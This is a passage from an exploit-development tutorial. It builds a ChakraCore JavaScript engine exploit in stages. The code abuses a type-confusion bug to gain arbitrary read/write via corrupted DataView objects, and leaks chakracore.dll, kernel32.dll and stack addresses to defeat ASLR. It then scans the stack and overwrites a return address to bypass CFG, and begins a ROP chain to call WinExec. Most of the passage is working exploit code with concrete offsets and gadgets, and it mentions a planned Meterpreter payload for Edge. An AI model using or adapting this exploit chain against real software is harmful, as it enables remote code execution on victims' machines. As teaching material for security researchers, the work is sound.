When it comes to bypassing ASLR, in “modern” exploitation, this requires an information leak. The 64-bit address space is too dense to “brute force”, so we must find another approach. Thankfully, for us, the way Chakra/ChakraCore lays out JavaScript objects in memory will allow us to use our type confusion vulnerability and read primitive to leak a chakracore.dll address quite easily. Let’s recall the layout of a dynamic object in memory.

As we can see above, and as we can recall, the first hidden property of a dynamic object is the vftable. This will always point somewhere into chakracore.dll, and chakra.dll within Edge. Because of this, we can simply use our arbitrary read primitive to set our target address we want to read from to the vftable pointer of the dataview2 object, for instance, and read what this address contains (which is a pointer in chakracore.dll)! This concept is very simple, but we actually can more easily perform it by not using read64(). Here is the corresponding code.

// Creating object obj
// Properties are stored via auxSlots since properties weren't declared inline
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;

// Create two DataView objects
dataview1 = new DataView(new ArrayBuffer(0x100));
dataview2 = new DataView(new ArrayBuffer(0x100));

// Function to convert to hex for memory addresses
function hex(x) {
    return x.toString(16);
}

// Arbitrary read function
function read64(lo, hi) {
	dataview1.setUint32(0x38, lo, true); 		// DataView+0x38 = dataview2->buffer
	dataview1.setUint32(0x3C, hi, true);		// We set this to the memory address we want to read from (4 bytes at a time: e.g. 0x38 and 0x3C)

	// Instead of returning a 64-bit value here, we will create a 32-bit typed array and return the entire away
	// Write primitive requires breaking the 64-bit address up into 2 32-bit values so this allows us an easy way to do this
	var arrayRead = new Uint32Array(0x10);
	arrayRead[0] = dataview2.getUint32(0x0, true); 	// 4-byte arbitrary read
	arrayRead[1] = dataview2.getUint32(0x4, true);	// 4-byte arbitrary read

	// Return the array
	return arrayRead;
}

// Arbitrary write function
function write64(lo, hi, valLo, valHi) {
	dataview1.setUint32(0x38, lo, true); 		// DataView+0x38 = dataview2->buffer
	dataview1.setUint32(0x3C, hi, true);		// We set this to the memory address we want to write to (4 bytes at a time: e.g. 0x38 and 0x3C)

	// Perform the write with our 64-bit value (broken into two 4 bytes values, because of JavaScript)
	dataview2.setUint32(0x0, valLo, true);		// 4-byte arbitrary write
	dataview2.setUint32(0x4, valHi, true);		// 4-byte arbitrary write
}

// Function used to set prototype on tmp function to cause type transition on o object
function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto};

    o.a = value;
}

// main function
function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }

    let o = {a: 1, b: 2};

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj

    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;

    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;

    // dataview1 methods act on dataview2 object
    // Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
    vtableLo = dataview1.getUint32(0, true);
	vtableHigh = dataview1.getUint32(4, true);

	// Print update
    print("[+] DataView object 2 leaked vtable from ChakraCore.dll: 0x" + hex(vtableHigh) + hex(vtableLo));
}

main();

We know that in read64() we first corrupt dataview2->buffer with the target address we want to read from by using dataview1.setUint(0x38...). This is because buffer is located at an offset of 0x38 within the a DataView object. However, since dataview1 already acts on the dataview2 object, and we know that the vftable takes up bytes 0x0 through 0x8, as it is the first item of a DataView object, we can just simply using our ability to control dataview2, via dataview1 methods, to just go ahead and retrieve whatever is stored at bytes 0x0 - 0x8, which is the vftable! This is the only time we will perform a read without going through our read64() function (for the time being). This concept is fairly simple, and can be seen by the diagram below.

However, instead of using setUint32() methods to overwrite the vftable, we use the getUint32() method to retrieve the value.

Another thing to notice is we have broken up our read into two parts. This, as we remember, is because we can only read/write 32-bits at a time - so we must do it twice to achieve a 64-bit read/write.

It is important to note that we will not step through the debugger ever read64() and write64() function call. This is because we, in great detail, have already viewed our arbitrary write primitive in action within WinDbg. We already know what it looks like to corrupt dataview2->buffer using the builtin DataView method setUint32(), and then using the same method, on behalf of dataview2, to actually overwrite the buffer with our own data. Because of this, anything performed here on out in WinDbg will be purely for exploitation reasons. Here is what this looks like when executed in ch.exe.

If we inspect this address in the debugger, we can clearly see the is the vftable leaked from DataView!

From here, we can compute the base address of chakracore.dll by determining the offset between the vftable entry leak and the base of chakracore.dll.

The updated code to leak the base address of chakracore.dll can be found below:

    (...)truncated(...)

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj

    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;

    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;

    // dataview1 methods act on dataview2 object
    // Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
    vtableLo = dataview1.getUint32(0x0, true);
    vtableHigh = dataview1.getUint32(0x4, true);

    // Print update
    print("[+] DataView object 2 leaked vtable from ChakraCore.dll: 0x" + hex(vtableHigh) + hex(vtableLo));

    // Store the base of chakracore.dll
    chakraLo = vtableLo - 0x1961298;
    chakraHigh = vtableHigh;

    // Print update
    print("[+] ChakraCore.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo));
}

main();

Please note that we will omit all code before opt(o, o, obj) from here on out. This is to save space, and because we won’t be changing any code before then. Notice also, again, we have to store the 64-bit address into two separate variables. This is because we can only access data types up to 32-bits in JavaScript (in terms of Chakra/ChakraCore).

For any kind of code execution, on Windows, we know we will need to resolve needed Windows API function addresses. Our exploit, for this part of the blog series, will invoke WinExec to spawn calc.exe (note that in part three we will be achieving a reverse shell, but since that exploit is much more complex, we first will start by just showing how code execution is possible).

On Windows, the Import Address Table (IAT) stores these needed pointers in a section of the PE. Remember that chakracore.dll isn’t loaded into the process space until ch.exe has executed our exploit.js. So, to view the IAT, we need to run our exploit.js, by way of ch.exe, in WinDbg. We need to set a breakpoint on our print() function by way of ch!WScriptJsrt::EchoCallback.

From here, we can run !dh chakracore to see where the IAT is for chakracore, which should contain a table of pointers to Windows API functions leveraged by ChakraCore.

After locating the IAT, we can simply just dump all the pointers located at chakracore+0x17c0000.

As we can see above, we can see that chakracore_iat+0x40 contains a pointer to kernel32.dll (specifically, kernel32!RaiseExceptionStub). We can use our read primitive on this address, in order to leak an address from kernel32.dll, and then compute the base address of kernel32.dll by the same method shown with the vftable leak.

Here is the updated code to get the base address of kernel32.dll:

    (...)truncated(...)

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj

    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;

    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;

    // dataview1 methods act on dataview2 object
    // Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
    vtableLo = dataview1.getUint32(0x0, true);
    vtableHigh = dataview1.getUint32(0x4, true);

    // Print update
    print("[+] DataView object 2 leaked vtable from ChakraCore.dll: 0x" + hex(vtableHigh) + hex(vtableLo));

    // Store the base of chakracore.dll
    chakraLo = vtableLo - 0x1961298;
    chakraHigh = vtableHigh;

    // Print update
    print("[+] ChakraCore.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo));

    // Leak a pointer to kernel32.dll from from ChakraCore's IAT (for who's base address we already have)
    iatEntry = read64(chakraLo+0x17c0000+0x40, chakraHigh);     // KERNEL32!RaiseExceptionStub pointer

    // Store the upper part of kernel32.dll
    kernel32High = iatEntry[1];

    // Store the lower part of kernel32.dll
    kernel32Lo = iatEntry[0] - 0x1d890;

    // Print update
    print("[+] kernel32.dll base address: 0x" + hex(kernel32High) + hex(kernel32Lo));
}

main();

We can see from here we successfully leak the base address of kernel32.dll.

You may also wonder, our iatEntry is being treated as an array. This is actually because our read64() function returns an array of two 32-bit values. This is because we are reading 64-bit pointer-sized values, but remember that JavaScript only provides us with means to deal with 32-bit values at a time. Because of this, read64() stores the 64-bit address in two separated 32-bit values, which are managed by an array. We can see this by recalling the read64() function.

// Arbitrary read function
function read64(lo, hi) {
    dataview1.setUint32(0x38, lo, true);        // DataView+0x38 = dataview2->buffer
    dataview1.setUint32(0x3C, hi, true);        // We set this to the memory address we want to read from (4 bytes at a time: e.g. 0x38 and 0x3C)

    // Instead of returning a 64-bit value here, we will create a 32-bit typed array and return the entire away
    // Write primitive requires breaking the 64-bit address up into 2 32-bit values so this allows us an easy way to do this
    var arrayRead = new Uint32Array(0x10);
    arrayRead[0] = dataview2.getUint32(0x0, true);   // 4-byte arbitrary read
    arrayRead[1] = dataview2.getUint32(0x4, true);   // 4-byte arbitrary read

    // Return the array
    return arrayRead;
}

We now have pretty much all of the information we need in order to get started with code execution. Let’s see how we can go from ASLR leak to code execution, bearing in mind Control Flow Guard (CFG) and DEP are still items we need to deal with.

Code Execution - CFG Edition

In my previous post on exploiting Internet Explorer, we achieved code execution by faking a vftable and overwriting the function pointer with our ROP chain. This method is not possible in ChakraCore, or Edge, because of CFG.

CFG is an exploit mitigation that validates any indirect function calls. Any function call that performs call qword ptr [reg] would be considered an indirect function call, because there is now way for the program to know what RAX is pointing to when the call happens, so if an attacker was able to overwrite the pointer being called, they obviously can redirect execution anywhere in memory they control. This exact scenario is what we accomplished with our Internet Explorer vulnerability, but that is no longer possible.

With CFG enabled, anytime one of these indirect function calls is executed, we can now actually check to ensure that the function wasn’t overwritten with a nefarious address, controlled by an attacker. I won’t go into more detail, as I have already written about control-flow integrity on Windows before, but CFG basically means that we can’t overwrite a function pointer to gain code execution. So how do we go about this?

CFG is a forward-edge control-flow integrity solution. This means that anytime a call happens, CFG has the ability to check the function to ensure it hasn’t been corrupted. However, what about other control-flow transfer instructions, like a return instruction?

call isn’t the only way a program can redirect execution to another part of a PE or loaded image. ret is also an instruction that redirects execution somewhere else in memory. The way a ret instruction works, is that the value at RSP (the stack pointer) is loaded into RIP (the instruction pointer) for execution. If we think about a simple stack overflow, this is what we do essentially. We use the primitive to corrupt the stack to locate the ret address, and we overwrite it with another address in memory. This leads to control-flow hijacking, and the attacker can control the program.

Since we know a ret is capable of transferring control-flow somewhere else in memory, and since CFG doesn’t inspect ret instructions, we can simply use a primitive like how a traditional stack overflow works! We can locate a ret address that is on the stack (at the time of execution) in an executing thread, and we can overwrite that return address with data we control (such as a ROP gadget which returns into our ROP chain). We know this ret address will eventually be executed, because the program will need to use this return address to return execution to where it was before a given function (who’s return address we will corrupt) is overwritten.

The issue, however, is we have no idea where the stack is for the current thread, or other threads for that manner. Let’s see how we can leverage Chakra/ChakraCore’s architecture to leak a stack address.

Leaking a Stack Address

In order to find a return address to overwrite on the stack (really any active thread’s stack that is still committed to memory, as we will see in part three), we first need to find out where a stack address is. Ivan Fratric of Google Project Zero posted an issue awhile back about this exact scenario. As Ivan explains, a ThreadContext instance in ChakraCore contains stack pointers, such as stackLimitForCurrentThread. The chain of pointers is as follows: type->javascriptLibrary->scriptContext->threadContext. Notice anything about this? Notice the first pointer in the chain - type. As we know, a dynamic object is laid out in memory where vftable is the first hidden property, and type is the second! We already know we can leak the vftable of our dataview2 object (which we used to bypass ASLR). Let’s update our exploit.js to also leak the type of our dataview2 object, in order to follow this chain of pointers Ivan talks about.

    (...)truncated(...)

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj

    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;

    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;

    // dataview1 methods act on dataview2 object
    // Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
    vtableLo = dataview1.getUint32(0x0, true);
    vtableHigh = dataview1.getUint32(0x4, true);

    // Extract dataview2->type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...
    // ... type->javascriptLibrary->scriptContext->threadContext
    typeLo = dataview1.getUint32(0x8, true);
    typeHigh = dataview1.getUint32(0xC, true);

    // Print update
    print("[+] DataView object 2 leaked vtable from ChakraCore.dll: 0x" + hex(vtableHigh) + hex(vtableLo));

    // Store the base of chakracore.dll
    chakraLo = vtableLo - 0x1961298;
    chakraHigh = vtableHigh;

    // Print update
    print("[+] ChakraCore.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo));

    // Leak a pointer to kernel32.dll from from ChakraCore's IAT (for who's base address we already have)
    iatEntry = read64(chakraLo+0x17c0000+0x40, chakraHigh);     // KERNEL32!RaiseExceptionStub pointer

    // Store the upper part of kernel32.dll
    kernel32High = iatEntry[1];

    // Store the lower part of kernel32.dll
    kernel32Lo = iatEntry[0] - 0x1d890;

    // Print update
    print("[+] kernel32.dll base address: 0x" + hex(kernel32High) + hex(kernel32Lo));
}

main();

We can see our exploit controls dataview2->type by way of typeLo and typeHigh.

Let’s now walk these structures in WinDbg to identify a stack address. Load up exploit.js in WinDbg and set a breakpoint on chakracore!Js::DataView::EntrySetUint32. When we hit this function, we know we are bound to see a dynamic object (DataView) in memory. We can then walk these pointers.

After hitting our breakpoint, let’s scroll down into the disassembly and set a breakpoint on the all-familiar SetValue() method.

After setting the breakpoint, we can hit g in the debugger and inspect the RCX register, which should be a DataView object.

The javascriptLibrary pointer is the first item we are looking for, per the Project Zero issue. We can find this pointer at an offset of 0x8 inside the type pointer.

From the javascriptLibrary pointer, we can retrieve the next item we are looking for - a ScriptContext structure. According to the Project Zero issue, this should be at an offset of javascriptLibrary+0x430. However, the Project Zero issue is considering Microsoft Edge, and the Chakra engine. Although we are leveraging CharkraCore, which is identical in most aspects to Chakra, the offsets of the structures are slightly different (when we port our exploit to Edge in part three, we will see we use the exact same offsets as the Project Zero issue). Our ScriptContext pointer is located at javascriptLibrary+0x450.

Perfect! Now that we have the ScriptContext pointer, we can compute the next offset - which should be our ThreadContext structure. This is found at scriptContext+0x3b8 in ChakraCore (the offset is different in Chakra/Edge).

Perfect! After leaking the ThreadContext pointer, we can go ahead and parse this with the dt command in WinDbg, since ChakraCore is open-sourced and we have the symbols.

As we can see above, ChakraCore/Chakra stores various stack addresses within this structure! This is fortunate for us, as now we can use our arbitrary read primitive to locate the stack! The only thing to notice is that this stack address is not from the currently executing thread (our exploiting thread). We can view this by using the !teb command in WinDbg to view information about the current thread, and see how the leaked address fairs.

As we can see, we are 0xed000 bytes away from the StackLimit of the current thread. This is perfectly okay, because this value won’t change in between reboots or ChakraCore being restated. This will be subject to change in our Edge exploit, and we will leak a different stack address within this structure. For now though, let’s use stackLimitForCurrrentThread.

Here is our updated code, including the stack leak.

    (...)truncated(...)

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj

    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;

    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;

    // dataview1 methods act on dataview2 object
    // Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
    vtableLo = dataview1.getUint32(0x0, true);
    vtableHigh = dataview1.getUint32(0x4, true);

    // Extract dataview2->type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...
    // ... type->javascriptLibrary->scriptContext->threadContext
    typeLo = dataview1.getUint32(0x8, true);
    typeHigh = dataview1.getUint32(0xC, true);

    // Print update
    print("[+] DataView object 2 leaked vtable from ChakraCore.dll: 0x" + hex(vtableHigh) + hex(vtableLo));

    // Store the base of chakracore.dll
    chakraLo = vtableLo - 0x1961298;
    chakraHigh = vtableHigh;

    // Print update
    print("[+] ChakraCore.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo));

    // Leak a pointer to kernel32.dll from from ChakraCore's IAT (for who's base address we already have)
    iatEntry = read64(chakraLo+0x17c0000+0x40, chakraHigh);     // KERNEL32!RaiseExceptionStub pointer

    // Store the upper part of kernel32.dll
    kernel32High = iatEntry[1];

    // Store the lower part of kernel32.dll
    kernel32Lo = iatEntry[0] - 0x1d890;

    // Print update
    print("[+] kernel32.dll base address: 0x" + hex(kernel32High) + hex(kernel32Lo));

    // Leak type->javascriptLibrary (lcoated at type+0x8)
    javascriptLibrary = read64(typeLo+0x8, typeHigh);

    // Leak type->javascriptLibrary->scriptContext (located at javascriptLibrary+0x450)
    scriptContext = read64(javascriptLibrary[0]+0x450, javascriptLibrary[1]);

    // Leak type->javascripLibrary->scriptContext->threadContext
    threadContext = read64(scriptContext[0]+0x3b8, scriptContext[1]);

    // Leak type->javascriptLibrary->scriptContext->threadContext->stackLimitForCurrentThread (located at threadContext+0xc8)
    stackAddress = read64(threadContext[0]+0xc8, threadContext[1]);

    // Print update
    print("[+] Leaked stack from type->javascriptLibrary->scriptContext->threadContext->stackLimitForCurrentThread!");
    print("[+] Stack leak: 0x" + hex(stackAddress[1]) + hex(stackAddress[0]));

    // Compute the stack limit for the current thread and store it in an array
    var stackLeak = new Uint32Array(0x10);
    stackLeak[0] = stackAddress[0] + 0xed000;
    stackLeak[1] = stackAddress[1];

    // Print update
    print("[+] Stack limit: 0x" + hex(stackLeak[1]) + hex(stackLeak[0]));
}

main();

Executing the code shows us that we have successfully leaked the stack for our current thread

Now that we have the stack located, we can scan the stack to locate a return address, which we can corrupt to gain code execution.

Locating a Return Address

Now that we have a read primitive and we know where the stack is located. With this ability, we can now “scan the stack” in search for any return addresses. As we know, when a call instruction occurs, the function being called pushes their return address onto the stack. This is so the function knows where to return execution after it is done executing and is ready to perform the ret. What we will be doing is locating the place on the stack where a function has pushed this return address, and we will corrupt it with some data we control.

To locate an optimal return address - we can take multiple approaches. The approach we will take will be that of a “brute-force” approach. This means we put a loop in our exploit that scans the entire stack for its contents. Any address of that starts with 0x7fff we can assume was a return address pushed on to the stack (this is actually a slight misnomer, as other data is located on the stack). We can then look at a few addresses in WinDbg to confirm if they are return addresses are not, and overwrite them accordingly. Do not worry if this seems like a daunting process, I will walk you through it.

Let’s start by adding a loop in our exploit.js which scans the stack.

    (...)truncated(...)

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj

    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;

    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;

    // dataview1 methods act on dataview2 object
    // Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
    vtableLo = dataview1.getUint32(0x0, true);
    vtableHigh = dataview1.getUint32(0x4, true);

    // Extract dataview2->type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...
    // ... type->javascriptLibrary->scriptContext->threadContext
    typeLo = dataview1.getUint32(0x8, true);
    typeHigh = dataview1.getUint32(0xC, true);

    // Print update
    print("[+] DataView object 2 leaked vtable from ChakraCore.dll: 0x" + hex(vtableHigh) + hex(vtableLo));

    // Store the base of chakracore.dll
    chakraLo = vtableLo - 0x1961298;
    chakraHigh = vtableHigh;

    // Print update
    print("[+] ChakraCore.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo));

    // Leak a pointer to kernel32.dll from from ChakraCore's IAT (for who's base address we already have)
    iatEntry = read64(chakraLo+0x17c0000+0x40, chakraHigh);     // KERNEL32!RaiseExceptionStub pointer

    // Store the upper part of kernel32.dll
    kernel32High = iatEntry[1];

    // Store the lower part of kernel32.dll
    kernel32Lo = iatEntry[0] - 0x1d890;

    // Print update
    print("[+] kernel32.dll base address: 0x" + hex(kernel32High) + hex(kernel32Lo));

    // Leak type->javascriptLibrary (lcoated at type+0x8)
    javascriptLibrary = read64(typeLo+0x8, typeHigh);

    // Leak type->javascriptLibrary->scriptContext (located at javascriptLibrary+0x450)
    scriptContext = read64(javascriptLibrary[0]+0x450, javascriptLibrary[1]);

    // Leak type->javascripLibrary->scriptContext->threadContext
    threadContext = read64(scriptContext[0]+0x3b8, scriptContext[1]);

    // Leak type->javascriptLibrary->scriptContext->threadContext->stackLimitForCurrentThread (located at threadContext+0xc8)
    stackAddress = read64(threadContext[0]+0xc8, threadContext[1]);

    // Print update
    print("[+] Leaked stack from type->javascriptLibrary->scriptContext->threadContext->stackLimitForCurrentThread!");
    print("[+] Stack leak: 0x" + hex(stackAddress[1]) + hex(stackAddress[0]));

    // Compute the stack limit for the current thread and store it in an array
    var stackLeak = new Uint32Array(0x10);
    stackLeak[0] = stackAddress[0] + 0xed000;
    stackLeak[1] = stackAddress[1];

    // Print update
    print("[+] Stack limit: 0x" + hex(stackLeak[1]) + hex(stackLeak[0]));

    // Scan the stack

    // Counter variable
    let counter = 0;

    // Loop
    while (counter < 0x10000)
    {
        // Store the contents of the stack
        tempContents = read64(stackLeak[0]+counter, stackLeak[1]);

        // Print update
        print("[+] Stack address 0x" + hex(stackLeak[1]) + hex(stackLeak[0]+counter) + " contains: 0x" + hex(tempContents[1]) + hex(tempContents[0]));

        // Increment the counter
        counter += 0x8;
    }
}

main();

As we can see above, we are going to scan the stack, up through 0x10000 bytes (which is just a random arbitrary value). It is worth noting that the stack grows “downwards” on x64-based Windows systems. Since we have leaked the stack limit, this is technically the “lowest” address our stack can grow to. The stack base is known as the upper limit, to where the stack can also not grow past. This can be examined more thoroughly by referencing our !teb command output previously seen.

For instance, let’s say our stack starts at the address 0xf7056ff000 (based on the above image). We can see that this address is within the bounds of the stack base and stack limit. If we were to perform a push rax instruction to place RAX onto the stack, the stack address would then “grow” to 0xf7056feff8. The same concept can be applied to function prologues, which allocate stack space by performing sub rsp, 0xSIZE. Since we leaked the “lowest” the stack can be, we will scan “upwards” by adding 0x8 to our counter after each iteration.

Let’s now run our updated exploit.js in a cmd.exe session without any debugger attached, and output this to a file.

As we can see, we received an access denied. This actually has nothing to do with our exploit, except that we attempted to read memory that is invalid as a result of our loop. This is because we set an arbitrary value of 0x10000 bytes to read - but all of this memory may not be resident at the time of execution. This is no worry, because if we open up our results.txt file, where our output went, we can see we have plenty to work with here.

Scrolling down a bit in our results, we can see we have finally reached the location on the stack with return addresses and other data.

What we do next is a “trial-and-error” approach, where we take one of the 0x7fff addresses, which we know is a standard user-mode address that is from a loaded module backed by disk (e.g. ntdll.dll) and we take it, disassemble it in WinDbg to determine if it is a return address, and attempt to use it.

I have already gone through this process, but will still show you how I would go about it. For instance, after paring results.txt I located the address 0x7fff25c78b0 on the stack. Again, this could be another address with 0x7fff that ends in a ret.

After seeing this address, we need to find out if this is an actual ret instruction. To do this, we can execute our exploit within WinDbg and set a break-on-load breakpoint for chakracore.dll. This will tell WinDbg to break when chakracore.dll is loaded into the process space.

After chakracore.dll is loaded, we can disassemble our memory address and as we can see - this is a valid ret address.

What this means is at some point during our code execution, the function chakracore!JsRun is called. When this function is called, chakracore!JsRun+0x40 (the return address) is pushed onto the stack. When chakracore!JsRun is done executing, it will return to this instruction. What we will want to do is first execute a proof-of-concept that will overwrite this return address with 0x4141414141414141. This means when chakracore!JsRun is done executing (which should happen during the lifetime of our exploit running), it will try to load its return address into the instruction pointer - which will have been overwritten with 0x4141414141414141. This will give us control of the RIP register! Once more, to reiterate, the reason why we can overwrite this return address is because at this point in the exploit (when we scan the stack), chakracore!JsRun’s return address is on the stack. This means between the time our exploit is done executing, as the JavaScript will have been run (our exploit.js), chakracore!JsRun will have to return execution to the function which called it (the caller). When this happens, we will have corrupted the return address to hijack control-flow into our eventual ROP chain.

Now we have a target address, which is located 0x1768bc0 bytes away from chakrecore.dll.

With this in mind, we can update our exploit.js to the following, which should give us control of RIP.

    (...)truncated(...)

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj

    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;

    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;

    // dataview1 methods act on dataview2 object
    // Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
    vtableLo = dataview1.getUint32(0x0, true);
    vtableHigh = dataview1.getUint32(0x4, true);

    // Extract dataview2->type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...
    // ... type->javascriptLibrary->scriptContext->threadContext
    typeLo = dataview1.getUint32(0x8, true);
    typeHigh = dataview1.getUint32(0xC, true);

    // Print update
    print("[+] DataView object 2 leaked vtable from ChakraCore.dll: 0x" + hex(vtableHigh) + hex(vtableLo));

    // Store the base of chakracore.dll
    chakraLo = vtableLo - 0x1961298;
    chakraHigh = vtableHigh;

    // Print update
    print("[+] ChakraCore.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo));

    // Leak a pointer to kernel32.dll from from ChakraCore's IAT (for who's base address we already have)
    iatEntry = read64(chakraLo+0x17c0000+0x40, chakraHigh);     // KERNEL32!RaiseExceptionStub pointer

    // Store the upper part of kernel32.dll
    kernel32High = iatEntry[1];

    // Store the lower part of kernel32.dll
    kernel32Lo = iatEntry[0] - 0x1d890;

    // Print update
    print("[+] kernel32.dll base address: 0x" + hex(kernel32High) + hex(kernel32Lo));

    // Leak type->javascriptLibrary (lcoated at type+0x8)
    javascriptLibrary = read64(typeLo+0x8, typeHigh);

    // Leak type->javascriptLibrary->scriptContext (located at javascriptLibrary+0x450)
    scriptContext = read64(javascriptLibrary[0]+0x450, javascriptLibrary[1]);

    // Leak type->javascripLibrary->scriptContext->threadContext
    threadContext = read64(scriptContext[0]+0x3b8, scriptContext[1]);

    // Leak type->javascriptLibrary->scriptContext->threadContext->stackLimitForCurrentThread (located at threadContext+0xc8)
    stackAddress = read64(threadContext[0]+0xc8, threadContext[1]);

    // Print update
    print("[+] Leaked stack from type->javascriptLibrary->scriptContext->threadContext->stackLimitForCurrentThread!");
    print("[+] Stack leak: 0x" + hex(stackAddress[1]) + hex(stackAddress[0]));

    // Compute the stack limit for the current thread and store it in an array
    var stackLeak = new Uint32Array(0x10);
    stackLeak[0] = stackAddress[0] + 0xed000;
    stackLeak[1] = stackAddress[1];

    // Print update
    print("[+] Stack limit: 0x" + hex(stackLeak[1]) + hex(stackLeak[0]));

    // Scan the stack

    // Counter variable
    let counter = 0;

    // Store our target return address
    var retAddr = new Uint32Array(0x10);
    retAddr[0] = chakraLo + 0x1768bc0;
    retAddr[1] = chakraHigh;

    // Loop until we find our target address
    while (true)
    {

        // Store the contents of the stack
        tempContents = read64(stackLeak[0]+counter, stackLeak[1]);

        // Did we find our return address?
        if ((tempContents[0] == retAddr[0]) && (tempContents[1] == retAddr[1]))
        {
            // print update
            print("[+] Found the target return address on the stack!");

            // stackLeak+counter will now contain the stack address which contains the target return address
            // We want to use our arbitrary write primitive to overwrite this stack address with our own value
            print("[+] Target return address: 0x" + hex(stackLeak[0]+counter) + hex(stackLeak[1]));

            // Break out of the loop
            break;
        }

        // Increment the counter if we didn't find our target return address
        counter += 0x8;
    }

    // When execution reaches here, stackLeak+counter contains the stack address with the return address we want to overwrite
    write64(stackLeak[0]+counter, stackLeak[1], 0x41414141, 0x41414141);
}

main();

Let’s run this updated script in the debugger directly, without any breakpoints.

After running our exploit, we can see we encounter an access violation! We can see a ret instruction is attempting to be executed, which is attempting to return execution to the ret address we have overwritten! This is likely a result of our JsRun function invoking a function or functions which eventually return execution to the ret address of our JsRun function which we overwrote. If we take a look at the stack, we can see the culprit of our access violation - ChakraCore is trying to return into the address 0x4141414141414141 - an address which we control! This means we have successfully controlled program execution and RIP!

All there is now to do is write a ROP chain to the stack and overwrite RIP with our first ROP gadget, which will call WinExec to spawn calc.exe

Code Execution

With complete stack control via our arbitrary write primitive plus stack leak, and with control-flow hijacking available to us via a return address overwrite - we now have the ability to induce a ROP payload. This is, of course, due to the advent of DEP. Since we know where the stack is at, we can use our first ROP gadget in order to overwrite the return address we previously overwrote with 0x4141414141414141. We can use the rp++ utility in order to parse the .text section of chakracore.dll for any useful ROP gadgets. Our goal (for this part of the blog series) will be to invoke WinExec. Note that this won’t be possible in Microsoft Edge (which we will exploit in part three) due to the mitigation of no child processes in Edge. We will opt for a Meterpreter payload for our Edge exploit, which comes in the form of a reflective DLL to avoid spawning a new process. However, since CharkaCore doesn’t have these constraints, let’s parse chakracore.dll for ROP gadgets and then take a look at the WinExec prototype.

Let’s use the following rp++ command: rp-win-x64.exe -f C:\PATH\TO\ChakraCore\Build\VcBuild\x64_debug\ChakraCore.dll -r > C:\PATH\WHERE\YOU\WANT\TO\OUTPUT\gadgets.txt:

ChakraCore is a very large code base, so gadgets.txt will be decently big. This is also why the rp++ command takes a while to parse chakracore.dll. Taking a look at gadgets.txt, we can see our ROP gadgets.

Moving on, let’s take a look at the prototype of WinExec.

As we can see above, WinExec takes two parameters. Because of the __fastcall calling convention, the first parameter needs to be stored in RCX and the second parameter needs to be in RDX.

Our first parameter, lpCmdLine, needs to be a string which contains the contents of calc. At a deeper level, we need to find a memory address and use an arbitrary write primitive to store the contents there. In other works, lpCmdLine needs to be a pointer to the string calc.

Looking at our gadgets.txt file, let’s look for some ROP gadgets to help us achieve this. Within gadgets.txt, we find three useful ROP gadgets.

0x18003e876: pop rax ; ret ; \x26\x58\xc3 (1 found)
0x18003e6c6: pop rcx ; ret ; \x26\x59\xc3 (1 found)
0x1800d7ff7: mov qword [rcx], rax ; ret ; \x48\x89\x01\xc3 (1 found)

Here is how this will look in terms of our ROP chain:

pop rax ; ret
<0x636c6163> (calc in hex is placed into RAX)

pop rcx ; ret
<pointer to store calc> (pointer is placed into RCX)

mov qword [rcx], rax ; ret (fill pointer with calc)

Where we have currently overwritten our return address with a value of 0x4141414141414141, we will place our first ROP gadget of pop rax ; ret there to begin our ROP chain. We will then write the rest of our gadgets down the rest of the stack, where our ROP payload will be executed.

Our previous three ROP gagdets will place the string calc into RAX, the pointer where we want to write this string into RCX, and then a gadget used to actually update the contents of this pointer with the string.

Let’s update our exploit.js script with these ROP gadgets (note that rp++ can’t compensate for ASLR, and essentially computes the offset from the base of chakracore.dll. For example, the pop rax gadget is shown to be at 0x18003e876. What this means is that we can actually find this gadget at chakracore_base + 0x3e876.)

    (...)truncated(...)

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj

    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;

